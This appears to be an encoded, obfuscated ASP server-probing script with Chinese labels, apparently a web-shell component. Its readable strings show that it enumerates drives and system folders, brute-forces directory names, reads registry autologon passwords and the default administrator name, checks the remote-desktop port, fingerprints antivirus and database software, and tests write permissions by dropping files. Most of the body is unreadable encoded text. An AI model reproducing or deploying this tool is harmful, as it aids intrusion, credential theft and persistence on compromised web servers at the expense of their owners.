rLW^wkk[P.G,╁╁'UkTGVa/r[,0q╋b╁nslHDd`YdmSHlVa/b9Y W9-s+OdH?-knk1kVKKwxKkkDn.OUD.E;w/SW[Ub-OWK/GD1rt-nMlSY0K?'31&C/bt{J);rS|e2nC╁`9CnIT+MR4/Ax kLW^2/bN╋Wr,Nx3╋╁@*DxG0J@!@*D8@!╁[9h/klh'╁)码密@*NnD{DGsKmPDUW6@!@*.CE$/{+2XO~bV@!╁L╋╁@*.4@!╁[UrsNb'╁l名户用@*+.l!5k'naXDPk^@!╁N╋b╁NMWA/klKO^El6nf'xWTGsxb'xGkd..Ox.D!ZwPgP/AG9xr'O6WdKD1kH'2"):s6?'2H(_ZbtmSzZrdme2nC╁vNC+]LI tk '9hddmn╋#╁nhm1.+kiDV;m0f- WTGV k - WrdM+.DU+MDE;wP1,/SW[xr 'YWWkGD1k\wAIb Pwrj-AH&C/zH|Sb;rdm5A|u╁`9ln]T+Ic4/q'xbh[b╋╁@*D(@!用启l入登动{自户用@*r^@!╁%╋+ks2╋╁@*D8@!用启未=入登动{自户用@*rs@!╁L╋U+4P,╁╁'UboKVWDEz~DKPT' kLG^WY!)P6k╋# rLW^WDE)/rc9lnITnIctd {xkLG^WOEz╋╁UKoGdxb:NzWD;b'xGoKVUrq-xKr/M+.DUnDME;-P1~dSW[xb -D0GdKDmr\'2]bqPwrj'2gqC;btmSzZ6S|53F_╁'xbLW^WY!)dk╋╁@*Y WWz@!@*M4@!╁[hlgxrh9b[╁@*[DxDKsKm~DxK0@!=为名户用员╁[╁理管认默@*rV@!╁L╋╋Wk,NUn╋╁0DWSO+gRYar.mk=啊行不的奶奶他╁L╋U+4O,D.+,Wk╋D6nH╋╁@*kV&@!@*YUW6&@!@*.(@!╁L+:m1cUksNC[╁:组员理管前当@*Nn.{DW^Gm,YxKW@!@*bV@!╁P%╋/.n(:nHc2EKD!%(WPUr,xr:9C,t^m2,DWw╋#╁a;WMoS/MWOCMY/bUksNbJ╁'n:m1M+OE2hKZ 1D'╁zJ)PH k╁cO1+%4}OMxaEKDMN4K~Y?╋b╁3MWAO1RD2kMm/q╁cOmL(rnYCnMm D-D/xHDPYnj╋,Ya+ ~:;k+MPDKDMnP W╋T'k+.ra62cn/ Wwkn]╋╁DKYmDO/rUb:[b╁{n:m1UrsNb~UtPP╁╁{nslU ksNl,0b╋bX|n:m1UrsNbv[lIo] tkh{+hlHUb:[b╋╁hlgDnd`YV;C6+9Y^)'xGTW^xkq- GkkDn.Dxn.MEZ'P1,/hK[Ukq-D0G/G.1k\-A]bqKo6U-2H(_Z)H|JzZ6d{I2|_╁'Hn|:C1 kh[z╋╁@*D(@!╁[:l ^2[╁=为名机{主前当@*ks@!╁%╋╁@*M4@!R名机主取|读法无╁x+slU^aPxn4:P╁╁x+sC m2,0b╋#X3hl m2`9ln]T+Ic4/S'+sCUma╋╁+slHDnO!whW;w+slH.YE2hKZw+sCgDnDEa:W;-^GDDxGZ'Ynj^WDDUW;Yx..E;-t2P?ej'HJ|_╁xX3nhmxm2╋╁@*8'nybd,D4@!@*M4@!Y测探{置设统系]@*D(@!@*D(@!╁%╋OX+x╋╁@*.4@!╁[#bcdtDla[╁@*ks@!╁N╋#dtDCwvNU;K4j~GDPb/4Omwc9x!W4d'b~DKs╋╁@*D(@!l量变径路m前当统系╁N╋╁@*D(@!O OO RRO O ORORR ORO RO ORR OORR ORO╁N╋b╁p╁~4DlhY0K?vOk^wd'ktOCa╋╁@*D(@!持支)|件软毒杀列系星瑞@*k^@!╁%P +4K~#╁LUb/rD╁BG0 k4Omn`.OkxrP6r╋╁@*D8@!持支)|件软毒杀克铁门赛@*k^@!╁N~xtPP*╁/;.b\kDUl╁BW0 r4YmnvDO/Ur,0r╋╁@*M8@!持支={件软毒杀列系山金~@*bV@!╁%~ +4K,b╁7lV╁BW6xk4YmK`MYdxbPWr╋╁@*D4@!持支l{件软毒杀^Vkn@*rV@!╁L,xntP~*╁Vskn╁SW6xr4Dlnc.D/Uk,Wb╋╁@*.(@!持支={制控+M+4AX b^n克铁门赛@*ks@!╁NPx4K,#╁+Mn4hHxmm2╁~GW k4YmK`MYdUbP0r╋╁@*M4@!持支)|器务服\wZ@*bV@!╁LP +4PP*╁Ga: Wrd!0m╁BG0 ktDCK`MYkxrPWr╋╁@*D8@!持支=m务服库据数+^mC.}@*ks@!╁NPU+4P,#╁n^mmDW╁BW6Uk4YCnvDOd kP6r╋╁@*M4@!持支=m务服库据数JpUXt@*rV@!╁%,xnt:~#╁^;dzs╁~WWUbtOlhcMYd k,0k╋╁@*D(@!持支)|务服库据数S}?UH@*r^@!╁L,U+4KP*╁.n\M+kPs;d~D0G/K.mb:╁SG6xk4OmncDDd k~6k╋╁@*D4@!持支)|本脚C\m9@*k^@!╁%~ +t:~#╁m\lN╁SG0 k4YCnc.D/Uk,Wk╋╁@*D8@!持支={本脚V.nh@*rV@!╁%,xn4K,#╁VM+a╁SW6xrtDlKcMY/ (P6k╋╁)持支件╁L╁软统系╁%╋btDlhYWWjc/Cm^xW6xr4Dln╋b╁4DlK╁`snDk Dx:xKDb-xAR4/q'4OmnY6G?╋╁@*F'"r/,D4@!@*D8@!Y测探件{软统系,@*M8@!@*D8@!@*D4@!╁%╋╁@*VGz@!╁%╋6q~9xA╋╁@*D(@!╁,'P9DGhk/CK koKJWDEl,'~╁P=码密户帐的╁[╁录登动自╁N╋0(P[UA╋╁+dVmo╁L╋Mlns;RD.3╋ +4K,.M2~6q╋*X+n/kCn kLWdWO;mP[,4YmnxbLGSKY!lcNCn"onIcp/SPx~9DWAdklKxbLKSGDEm╋╁@*D(@!╁,'P:CxM+di koKJWDEl,'~╁P=户帐统系的╁[╁录登动自╁N╋#z+F./ixbLWdWO;mP[~4DlKxbLKSGDEm`Nm+"L+"Rp/SPx~:l .+kjxbLGSKY!l╋n/s3╋ +4K,TP{Pns(lx3UboGSKO!bdbP6q╋#H+nnV(lU2 kLGdWY!CPLPtDCKxboKSGY;CvNC+"L+"RpdSP'~n^4CxAUboGdWDEbkk╋╁9.WS/dlhYs;m0+G╁~',X+nddlhxboGSGO!l╋╁n:mHD/iO^ElWnG╁PxPHnnDnkj koKSKOEm╋╁xGoKSUrsNbKOEz╁P',zn|V(lU2UrTWJWD;l╋╁'xGLKVxr 'xGkk..O +MDE;-:HPkhGN k wD0WkGD1kH'3]bqKwrj-3H&C/btmSzZ6J|52Fu╁,'~tDChxrTWdWY!l╋6(P9x3╋╁@*JD8@!╁,[PD.Wh:DO~[,╁P=口端╁[╁务服端终前当╁%╋+dsAP╋╁@*zM8@!c制限到受否是限权查检PS口端端终到得法无╁%╋,x+4P,!~@*@!~M+8sEgRDM2,.r,╁╁PxPDDGKsD+D~0&╋╁@*VK@!录登动自及╁'╁口端务服{端终╁N╋#H+FY.GhVCxbhDY~',tYCKDDGn^C khM+D`Nm+"L+"Rp/SPx~DDWhhDY╋╁D8hEgYMWK╁Px~H+FYMGn^lUrsD+O╋╁wamPOh9"-d WbYlD? r'Dn\M+j~^lxbhDK-^G.Y W;-O+jsKDOxK/Y +..!Z-\3:?e?'\d|u╁,',tYmnD.WhVCxb:.nD╋NDKA/kln rLWdWDECPSnslUDdj kLGdWY;C,~z+nn^4C 2 koKSKOEmPS+^4CUAxkTGSKYEzdrPskG╋Xn|ddmnUkTGSKY;C,~XnFM+dj rTWJKY!lPBtDCn kLWdWO;mP:b9╋YMWns.nY,~H+FY.GhVCxbhDY~S4YlKOMWKVmUb:.Y,:kG╋#╁^s+4? Yak.^U╁`D^+N4rOC+MZcDn\.nUPxPodh,Ynj╋╁ OORR ORO R OR O OO O RO ORO ORR OO RO OO RRO O ORORR ╁L╋╁@*D(@!╁[DDGKqbn'╁l为口端DntSz b^h@*bV@!╁N╋╁+MntSXUb1w装安否╁'╁是机主╁'╁认确请c取获╁[╁法无╁'D.Whbh~U+4Y,╁╁'ODGKqbKP6(╋#H+FnM+tAz b^wv[m+]T+"Rtk{ODKn bh╋╁Y.GhlYm9n&nZ:wh+D/H?wxGrkDn.DU+MD;/'+Dn4SXUb12'mnDxm:XU-A]bqKorU-3H&CZz\{dbZ}Jm5A|_╁'z+FnM+4hHUb1w╋╁@*O W0&@!@*D8@!╁LOMWKsDK[╁@*N.'MWsW1POUK0@!=为口端nmb\Dj~Vmxb:.+P@*bV@!╁L╋╁机主本版Mn\M+j~khW[Ub为否是╁'╁认确请R取读╁L╁法无╁xDDGh:M+K,x4K,╁╁'ODKnh.KP6(╋#H+|s.nKvNm+]on]ctd{ODKnh.K╋╁Dn8sEHYMGh-21Y'/N:-9Aw9Dw/9w.\DjP^lxbh.+:-^W.YUG;-O+UsWMYUG;Yxn.ME/-t3:?eU-A1q_Zz\{db/rd{e3nC╁'Hn|sD+:╋╁@*.4@!╁[DDGwOU^K'╁)口╁L╁端O+ VnP@*kV@!╁%╋╁*置设╁[╁认默c&y╁xDxs:P +t:P╁╁{ODKnOx^K~Wb╋#XFYxVPcNm+"onI 4kxYMGnDxsP╋╁DDWKOxs+:wZRq'D\D?Dnx^+P-D0GdKDmb\P'2Iz Ps}?'2Hqu/zHmSz/rd{e3nC╁'zn0Ynx^n:╋╁@*q{+.k/,D4@!@*M4@!T测探╁L╁口端╁[╁殊特,@*M4@!@*.4@!╁L╋0b~[x╋YX+H╋╁@*.8@!ORO RO ORR OORR ORO R OR O OO O RO ORO ORR OO RO╁N╋0k,[U2╋6k,NU2╋╁@*.(@!╁%╋YXnx╋╁B╁[b%vhWssmn9j,%╋*hG^VmwN!`9UEKAiPKK~bSWV^Cw9E`9U;W~S,'~L~.K0╋╁l为口端w9;的╁[╁许允@*ks@!╁N╋+/s3╋╁@*D8@!部全=为口端29E的╁'╁许允@*k^@!╁L╋ +4PPZ'b!vhGs^lw9;PMWP╁╁{bT`SW^VCw[;,0(╋#h9j^V;ovNln]T+]R4dq'AKV^lw9E╋6rP9x3╋╁@*MA@!╁%╋D6+g╋╁S╁[*L`SGsVmw1Y~L╋bAKVsla^YvNU;KAj~G:PbhKs^l21YvNx!W~JP{P%PMWo╋╁l为口端amY的╁L╁许允@*k^@!╁L╋ds2╋╁@*D(@!部全l为口端w^O的╁L╁许允@*rV@!╁%╋xtP~Z'#TcSWsVm21Y~MW,╁╁'#Z`SGV^l2mDPW(╋*nZ:sV!s`9CnIT+"R4/ xSWsVm2mD╋|i3LAN2)LtOlaxhfi^V!s╋|:2L$Nab'tDlKxhZK^sEw╋╁/YMGKNhKVsbK9`-╁x|`3╋╁/DDGK9+hGs^bKZ:w╁{|PA╋+kV+╋╁@*D(@!选筛n&z2m:没@*rs@!╁L╋P nt:PF{.nY^k6wrw^OK1~0b╋Wq,NU3╋╁@*D4@!置设有没或取读法无jgf╁'╁认默@*bs@!╁L╋nkVA╋╁@*D(@!╁L.Yk?HfL╁)为jHG╁[╁卡网@*bs@!╁N╋x+4P~╁╁@*@!DD/j19~6q╋bXF?gfc[m+ILn"R4/qxMYdU1G╋╁D+7Dj+slH-╁LA[2z[tDCn{X+njHf╋6k,NU2╋╁@*.(@!置设有没或取读法无关网@*k^@!╁L╋/s3╋D6+H╋╁@*M4@!╁[*%vXCS+DlML╁)╁L%[╁关网@*ks@!╁N╋#zCS+Ym!`9xEK8iPKY,#zlAnDl!`9UEK4JxNPDGo╋ +4K,bHl YmM`HlM.lkk~0&╋#znnXlqnYmM`9CnDT+"R4/ xHl +DCM╋╁HlAnDlMOs!lW+Gw╁LA[abLtYmn{z+nXCYC!╋6kP9U2╋╁@*D4@!置设有没或╁'╁取读法无址╁'╁地n&@*bV@!╁L╋nd^2╋O6H╋╁@*M4@!╁'*L`.[9bKqL╁l为╁LL'╁址╁L╁地n&@*k^@!╁N╋bD9N)n&`[U!W4`~WDP#M[[bhqvNUEG8d'%PMGs╋ +4P,╁╁@*@!bTvD[NmK&PW&╋#H+|hqv[lDL+"R4dq'D9[lhq╋╁/kn.N9bhqw╁[$[ab'tDCn{XnFhq╋╁-dn1lWDO qwkDY+slMCn'wrw1Kwdmk7.+U-FZTO+UVKDOxG/'H3KUe?'2H(_Zb\mdb/rdmI2F_╁'4Ylh╋╁@*M8@!╁LA[wz[╁l为列序的╁'b[╁卡网╁L╋*╁╁S╁-mk7n9-╁B#b`dN2)v+^l^2+"'$[ab╋FRbkN2bv[ EG~j,WK,#k[wz`[x!W$J{kPMGs╋,x+4P~#kNabcXC.Mbdq,Wq╋*XnF9wbc[m+]o]ctdq'kNwz╋╁N rA'+Ll0xrJ'wka^K'/+1r-D?'FT!OnUVGDDUW;-\3:?5jwtSFC╁{z|[ab╋6qP9xA╋q'M+OVb02ramYKH╋xtK,╁╁xnV(l 2dk~.KPT's4mx3dbP0(╋bH+Fwb21Kn^4mx2vNmnDT+]R4/ xV4mU2kk╋╁/MnOVbsHYrD;^?nV(CxA-d.Y+hCMlK-aramP'/mk7Dj-D+jVKDOUKZY nDMEm'\3KU5U-\SFu╁{Xn|h(n;Kns(lx3╋╁@*8'nybd,D4@!@*M4@!Y测探╁[╁络网]╁%╋#╁^VntURO2bDmk ╁`Dm+N8G+DlD^'4dSPO+k╋4/SPhr9╋Y6nU,+hEknMP.KDM+P W╋*cW6x(VmxrhM+KDno,4EkEb#@#@&@#@&dE8~4k[NU/4+ss@#@&02CDtxD5!+dDRk+D7+M-lMkC4^+dcrwlD4{DDl dslD+9Jb@#@&dY~0kG'k+.-DR^.lO+K8N+^D`r/mMkaOk o 0bVndH/YhW(L+1OE#@#@&a+a'E^K:qu1G:yu^Gs&u^GsckmKhlu^K:+umK:FkmK:0u1Wh1-VwDqu^wYykswD&-V2Y*k^wO*-swDvksaYGksaY0u^2D,E@#@&MxNa+Xx/aVrYvwnaBJurb`MxN ;h4Dv!SF{b*@#@&/d/bWUcr/+s%SJb'rE@#@&WbVwlDt8x/D-+MRhCawlD4`rRJ*@#@&0bVxC:nq{Dro4O`6wCO4~VnUv02lD4*Or /DDD\vWwmY4~r-Eb*@#@&!.V{D+$;n/DRk+.\n.7l.km8V/cE!DVEb@#@&;D^x^+WD`!DVBk dYMDn\vE.sBJzrb#LDx92n6LJcJ'0rsxC:q@#@&0dGcmW2z6ks+,WalO4~r--c-r'0bVnwmY4qLJ-r'D Nwa'JcJL0rVnUm:nF@#@&/Y~WkW'UGDtrxT@#@&L~r@!kmDbwD@*wmDnxDRsG1lYbGx{BtDO2)Jzr[.+5;/O`rd+M\n.|xlhnr#'EMsLJ_wxm:+{zbhlT+dzcld2L0k^nxm:+8vI@!J/1DrwO@*r@#@&+ [PkE8@#@&@#@&j;(P\+kdmonv/DlY~sdoB0slT#@#@&NJ@!:)Ad2PSr[Y4'W%TP8GMNnD{TPmVrL 'mnUD+.P1n^V2mN9kxT'Z~mVs/al^r o'8~4TmW^G.'[N9N@*P@!P"@*@!z:]@*@!K]@*@!Kf~C^kLx{hbN[^+,4o1W^GD{anm6m^[@*@!Kz$SAPhb[Ot{%y]~4G.9+.'Z~mVs2mNNrUT'XP1n^Vdal1kxT'Z@*@!:I@*@!:f@*@!wr1:~mKVWMx.+9@*r@#@&L~dDlO+@#@&Lr@!&o}1K@*@!JK9@*@!P"@*@!:f@*@!n@*JLh/T@#@&Lr@!&K@*@!z:9@*@!zK"@*@!z:b~S3@*@!&:f@*@!JPI@*@!P]@*@!K9~1VC/kx:A3 N@*J@#@&q6~0^lL'ZPP4x@#@&%J,@!qgKiK,YHwn'8;DYGx,-l^Enx关闭,Wx^sbmV'EAbx[KhcmVK/c#pB@*J@#@&3sk+@#@&3x9Pk6@#@&Lr@!JK9@*@!&:I@*@!JPb~S3@*r@#@&3U9PjE(@#@&s; mDkW P"nNv/OD*@#@&]NP{~J@!srgP~mKVKDxaWWy + @*EPLPdOMP[~E@!zorgP@*J@#@&2 NPwE ^YbWU@#@&@#@&o!xmDrW PI [HEs4DcHrUBHC6*~@#@&ICU9W:r"P@#@&"U91;s4D'&xDc`tlaP P\r P_,q#,eP"U[`*P3P\kUb,@#@&2 [PwEU^DkWU@#@&@#@&@#@&j!4~UmmxfMk7nsKDh`*@#@&9b:PwjrBfDb-nA@#@&U+OPoj}PxPUnD7+. ;D+COW8L^D`EUmMkwDk LRwks+UXdO:r(%+1YJ*@#@&Lr@!(D@*@!P)~S3PSrNDtx*R!P8GMNnD{T,lsbo 'mxDnD,mnV^wC[9kxTx&,m+^sdwmmbxL'q~(o^W^GD{aWW600W@*@!K]@*@!PGP^KVkwl 'l~m^ld/{K$ulN@*磁盘&系统文件夹信息@!JKf@*@!&K"@*r@#@&P~oKD~2m^t,f.r7+A~r Po?} GDr7+k@#@&NJ,@!K"PCVboUxskN9s+,mVmdd':A:f@*@!o6"H~l1OkKxx_zmYrG 'jmmUGDr7+LfDb\xJ@#@&%PGDr-ARG.k7+SOO+M@#@&LEPhnDtGN{KWkY@*@!:fPAr9Y4'yXr[^4Dv&G*[r@*@!~@*盘符@!z~@*@!&:f@*@!Pf,hk9O4'8*r[^t.c2Gb[r@*J@#@&%~GDk-n~R9Db-SnDYD@#@&Lrl@!JK9@*@!K9~SkND4'y!JL^4Dv&F#'J@*@!~@*类型@!z~@*@!JK9@*@!Kf~AbNOt{+ZJ'1tM`&F#LE@*r@#@&P,?nsmY,/lk+PG.r\Acf.k-n:X2+@#@&P,ZCdPFl~NJ可移动E@#@&~,ZCk+, ),Lr本地硬盘E@#@&P~Zm/n~2)PNE网络磁盘J@#@&P,/C/PW)~LE/GO]rtE@#@&P~/m/+~X=P%J")t磁盘J@#@&P,Zlk+,nVk+lPNJ未知类型E@#@&PPAUN,?+^n^Y@#@&NJ@!zP9@*@!Pf@*@!qgniP,YX2n{/;4srDP-mV!+'详细报告@*@!JPf@*@!&s}I\@*@!zK"@*J@#@&P,Hn6D@#@&LEP@!P"P^Vmd/{K$PG@*@!o6"H~l1ObWU{gzmYbW x?1sGV9+.'wWV9nD{J@#@&%~sUrcMnYj2mrl^oW^Nn.v!#@#@&NJ~:O4W[{nK/Y@*@!:9PmVro 'hr9NV@*@!~@*bU[WS/文件夹@!z$@*@!&:f@*@!:9P1Wsdalxxf@*J@#@&N~w?6cMY?a+1rl^sGV9+.cZ#@#@&%J@!zKG@*@!KGPmVroUxsk[N^n@*@!qHK`KPOza+x/!8skO,\mVE'详细报告@*@!z:f@*@!Js6]t@*@!JPI@*@!K"~^Vm/k'PAP9@*@!or"\PmmOrKx'_)1YrW xUmoKV9+DLsKsNDxJ@#@&%~w?rc!+D?w^rl^sKV[+.c8#@#@&NEPs+O4KN'KGkY@*@!:9,lsbo ':bN9s+@*@!$@*UXdO:&y文件夹@!z~@*@!JP9@*@!KGP^WsdalU'2@*J@#@&%~w?r !Yjw^blswW^N+M`8b@#@&LE@!JK9@*@!Kf,CVbox{hrN9V@*@!qHK`K~YH2+{/;8skY~-mV;+{详细报告@*@!zPG@*@!zs}It@*@!JK]@*@!K]~1Vlkd':AKG@*@!s}ItPCmOrKxxgz^YbWUxUmsGs9+.[wG^NnM'r@#@&NPwjrcMnYUwn^blVwGV9+Dv+b@#@&LrPh+O4KNxnKdY@*@!P9,lVrL 'hk9[^+@*@!A@*系统临时文件夹@!z~@*@!&KG@*@!KGP^G^/wmU'2@*J@#@&%Pw?}R!+Oja+^kmssKV[nM` b@#@&LE@!JPG@*@!:f,lVbo x:bN[V@*@!(gnj:~YHw+{d;4skDP-ls;'详细报告@*@!JPf@*@!P],mVCdk'PA:9@*P@!wr"HPmmDrW '~:Y4G9'nKdY@*J@#@&%E@!:f,lskLU{:rN9s+@*@!$@*站点跟目录@!zA@*@!JK9@*@!PGP^KVkwl '2@*站点跟目录@!:f~l^kLU{:k9[V@*@!m~4D0{J'j]JLJ_b1OkKxxj1sWs[D'sKs9+.{JLhhSDKGYLJ@*@!(@*详细报告@!&(@*@!JC@*@!zKG@*@!K"P1VC/dx:APf@*~@!wr]\,lmOrKxxPsnDtG9'hW/D@*r@#@&NJ@!KGPCsbox{hk9NV@*@!A@*回收站目录@!JA@*@!&PG@*@!KG~mKVd2mx'f@*回收站目录,@!Pf,C^kL 'skN9V@*@!mP4D0xELjId'JQbmDrGx{?1sGV[nM[oW^[+M'^l'D+^z1VnD'@*@!4@*详细报告@!z(@*@!Jl@*@!z:f@*@!:I~^^l/kxK~Kf@*~@!s}ItPCmOrKxxPsnY4W[xhW/O@*@!K9PmsboU{:bNN^+@*@!A@*hhw!4目录~@!JA@*@!&KG@*@!:9~mKVkwCxxf@*hhw!8@!:f~C^koUxsk[N^n@*@!C,tM+0{JLiId[EgzmOrKx'U^sKVN.'sKV9+.'^l'hhw!8-@*@!8@*详细报告@!z4@*@!Jl@*@!JPG@*@!JKzASA@*@!$I@*J@#@&NJ@!&wrIt@*@!JKI@*@!&KzAd2@*@!$]@*@!9qj~l^kLU{m+UOD@*@!w6"H~zmDkW 'Q)mDkGx{?^oKVN.Ps+Y4G['hWkY@*指定文件夹查询:@!(HhjPPDzw'OnXYPUCs+xsKs9+.,\mVE'rEm=-2ta-S[=-nMGoMl:,orV/'~/)w9Km;:UYkPCU9P?nODkUokwzVs,jk+Dk-GGm!:nxD/wS;)-MnmHmV.w~9)'Dnmz^^+.-Bn)'Dn^HmVn.'~W)'.mz1VD-BZ=whsw;4'~/l'qg9rq?-:nhw'~;)w&TM+^~;l-1l^4~Zlwxn3M;CaY;M+BZ)'q nYaE8Jr@*@!(gnj:~YHw+{d;4skDP-ls;'生成报告@*P批量查看目录权限B输入新目录用“S”隔开。@!Js6]t@*@!9(j@*E@#@&jY~w?}'1KY4rxT@#@&2 N~j!4P@#@&?!4PU^CxGDb\n`9.b\n#@#@&fb:~oUr~PnkY9Db-~$m/sW^N.~:+hwwWs[D/BP+sw{UO.~G@#@&qWP9.b\nP@!@*PrJ~P4+x@#@&U+OPwj}Px,?D\Dc/DlO+K4%n1Y`rjmMkwDrUocsbVn?zdD+hr(%+1YEb@#@&?nO,Kn/D9Mk-P{PsUrc!+Df.k7+c9Mk\b@#@&q0,Pn/DfMk-+ (kInl9zP:tnU@#@&Knha{jYM~{PE@!S&@*磁盘分区类型:J,[,]+9`P+kY9.b\+cok^+?HdO+s#,[~J@!J&@*磁盘序列号:EPL~INcP/Y9.b\nRUnMkC^1!:4D*~[,J@!S&@*磁盘共享名:E~LPI[`:+/D9.k7+c?4l.nglh+*~[,J@!J&@*磁盘总容量:J~',InNv/&xOvK/YGDb-+cKGYmVjr.+z8TcR*G+bbPLPr@!Jq@*磁盘卷名:E,[~I[`:+dOGDk-nc.GV!h1Cs+*P[,J@!Jq@*磁盘根目录)EPLPj^"+Mc`GDk7n~[,J=-E#b@#@&?nY,$lk+oG^N+.~{PP+kOGDr7+cIWKYwGV9+.@#@&?nO,K+s2sKVN.dP{P~ld+oG^NnDcjE(sGs9+Dd@#@&sGD,3mm4,f,kx,KhwwWsNDd@#@&K+s2{UYD,x~K:a{jY.~LPE@!d(@*文件夹:rP'~UmIn M`9#@#@&g+aD@#@&?+DP:n:asGV9+.~{P1KOtbxo@#@&j+DP~ld+oG^NnD,xPgWO4bxo@#@&AVd+@#@&:+ha{UYD,',P+swm?DD~',J@!d(@*磁盘根目录=JPL~]+9`r不可读)cJb@#@&fr:,P+swoG^N+.Jb/O~DlD'T@#@&:+:a{UOD,'~K:2mUYD,'Pr@!S&@*EPLP"+[`E穷举目录测试:E*@#@&KhwwWs[DSrdDPxPz.MlzvJSkx9WSdJBJAk xOEBJhbUJBJhbU+!Z!r~EhrUO%E~rA+(JSESkxhnr~EhbU9WAk Z!!r~rC/aJSJat2EBJKKGVkJ~r9Gm!:xO/~C N~?OYbxLdr~JK.Ko.ls~wks/r~J&xOw!4E~r0O2r~JShw!4JBEO0Dwr#@#@&oGMPrP{~!,YG~`4W;U9`P+s2wWs9+MSkkY*@#@&&0~sUr oKVN.2Xk/DdcfMk7+~[~E=-EPL~K:2oKVNn.dkdYvr*#~:tx@#@&Y,xPD_q@#@&Knha{?D.P{PKh2{UYMP'PE@!dq@*发现文件夹:J,'PUm]nqD`9.b\nPL~r)wrPLPK:aoW^NnDdkdOvk#*@#@&AxN,rW@#@&16O@#@&(6PO'Z~Y4+U~:+:2mUY.P{~:+ha{UYD,[,E@!dq@*已穷举J,[~9Mk\~[,J盘根目录,但未有发现)vE@#@&Ax9Pr0@#@&U+OP:n/Df.r7+Px~gWOtbUT@#@&U+DPsUr,xPgWOtbxL@#@&K+s2{UYD,x~K:a{jY.~@#@&\+kdlT+~9Mk\n~LPE)磁盘信息rS:+ha{UYDBF@#@&2 N~k6@#@&3 NPU;4@#@&?!8~?1sKV[+.c6WsN.#@#@&~v}xP3.MW.P"nkEhPg+6D@#@&WW^NnDzD.~{P?askD`0Ks[+M~r~E#@#@&wW.Pb~',!~PKPj8G!x[`6G^NnMbMD#@#@&i9ksPo?}~6oKVN.~:+:aoGV9+M~jmhdT~j@#@&7?Y~oUrPx~U+.\.cZ.lD+W(L^YvJjmMk2Obxocok^+?HdO+sr(LnmOE*@#@&d6GV9+.~{P0Gs9+.bM.vkb@#@&iq0,sU6RwWsND3ab/Ykc0KVN.bP:tx@#@&7~U+OP}oW^Nn.,'Poj}R!+DoKV[Dv0W^N.#@#@&7?Y~P:wwGV9+Dk~xP}sKV[+. UE8sKsNDd@#@&d?^hko~',E@!S(@*指定文件夹根目录:J,[PUm"nM`WW^Nn.*@#@&ioWMP2m^4PUPbx~KnhasGV9nDk@#@&7,?mhdTPxPU^s/LLJ@!Sq@*文件夹:J,'PUm]+qDcj*P@#@&716Y@#@&7?Y,Kn:2oKV[+MdP{PHGDtkUL@#@&7?O,roKV9+D,',HWDtrxT@#@&7AV/@#@&iP?1hdo,',?^:dL,[~J@!Jq@*文件夹:J~',I+[c6WsN.,[~r不存在或无读权限"r#@#@&dAUN,kW@#@&dj^s/o,xPUm:kL~[,J@!4.@*@!8M@*注意:不要多次刷新本页面,否则在只写文件夹会留下大量垃圾文件ZJL8l13;.^@#@&7jY~sU6,'~gWDtk o@#@&dt+d/mon~rJ~U^:ko~8@#@&x6D@#@&2U[,?;4@#@&s!x^ObWx~j1InMc6Ws9+M#@#@&r ~2MDGD,Ind!:+,H+XY@#@&9r:,sUrSKndDsGV9nDBKndDsksndkdYB].UYM~I NwrVxC:@#@&jYPwjr,'PUn.\DcZ.+COW8L^YvJj^MkwOr o sbs?zkY:r(L^Yr#@#@&U+O~:+/DoW^N+M~xPw?}R!+OoKV[+Mc0KV[nM#@#@&jY~KdDsr^+dk/DP{~K/OsKV[nMR?!8sKVN.d@#@&I Noksn lh+,xPr-OnswJ~',fCXvUKhb,[,CW!DvUWS#~[,HrU!Y+vUWS#PL~j+1W NcxGA*P'Pr YswE@#@&sW.~Al^t,),kU,K/Ywk^nSb/O@#@&1naD@#@&&WPDD,P4+ @#@&+.D /^+CD@#@&I.jDDPx~6WsN.,[~r@!wr1:P1GVKDxa60++y @*,不可读SJ@#@&sU6 ZM+mYnKnaDsrV~0KV[nMP[~] Nok^n lh~:DE@#@&(0,+.D,K4n @#@&.DcZVC.@#@&I.?O.,'~I DUY.~LPJ不可写。@!&wrHK@*E@#@&3^/@#@&"+q.?DD~',In M?YM~[,J可写。@!Jo61:@*r@#@&sj6cfnVO+wksn,0Ws[D~[,] NobVxls+BPD!+@#@&Ax[~&0@#@&3Vk+@#@&]nM?DD~'~WKV[+M~[,J@!o}1K~^KVGD{:9N[9N9@*P可读BJ@#@&sUr ZM+COK+XOsbV+,WGV9+MP'P]U9srVUls+SPME+@#@&&0~+M.,K4x@#@&+MDc/Vl.@#@&In M?YM~',I+q.jYMPLPE不可写。@!&o}1P@*r@#@&AVdn@#@&In M?OD,x,InqDUYD,[,E可写。@!Js61:@*E@#@&s?} fV+Dnok^+,0GV[nMP'P"UNwksn l:nS:D;+@#@&Ax[,k6@#@&Ax9~k6@#@&?Y~P/YwrVSkkO~',1KY4kUL@#@&j+D~K/OoKVNn.,'~1KO4kUT@#@&?+DPwjr,'~1KY4r o@#@&jm"+M~xP"+qDjY.@#@&2UN,oE mOrKx@#@&W!x^YbG PLK4mm3v#@#@&/Y~r6/G~{P?.\DR;.nlD+}4%+^OvJjmMrwDkULcsksnUXdYh}4%mDJ#@#@&knY,WWW^Nn.,'P}W/KRMOWW^NDc?ndkkGxvEsKV[nMnlO4r#b@#@&r6PUKY,W0KV9nDcqdIKWOoKVN.PDt+ ~@#@&NPr@!dm.raY@*?4GhwWs[D`EEr[]+hCDtcK0KVNDc2lM+UY6Ws[D#LEJr#@!Jd^DbwD@*E@#@&n^/nP@#@&L,J@!d1Dk2O@*?4WSoKV[DvJJr[Un/kkGxvJoG^N+MKlDtJ*'EJr#@!zdm.raY@*@!1nxD+.@*已经是磁盘根目录了e@!z^n YnD@*@!1+UD+M@*@!(D@*@!qgniK,Yz2'4!OYKxP7CsE'返回,WUZsr13xB4r/DW.zcoWcR8#IB@*@!J4.@*@!Jm+ Y.@*r@#@&+ N~r6@#@&knY,r0kGxxKY4kUo@#@&k+OPKWW^Nn.{xWO4bxL@#@&n N~6E mYbW @#@&Utr?mxxE(E/,[x╋0k,[U+╋6q,NU2╋zCMD)+4OPLP╁@*r^@!╁P%╋nkV3╋YXng╋#rvXmDDz+4OPLP╁@*k^@!╁~%╋*XlM.btYv[UEKA`PGK~T{k~DKo╋xtP~*Xl..z+4YvzmD.z/&P0&╋#4Olh+4YvNCn"o+" (kh'HC.Dz+4Y╋b╁tOCh+4Y╁vO/E5n"'tOCh+4Y╋*╁s^+4URDwkMmU ╁`DmnL(rnOm+D; D\Dj~',(kh~Ynj╋D6n1,n:!/n],DW..APUr╋ 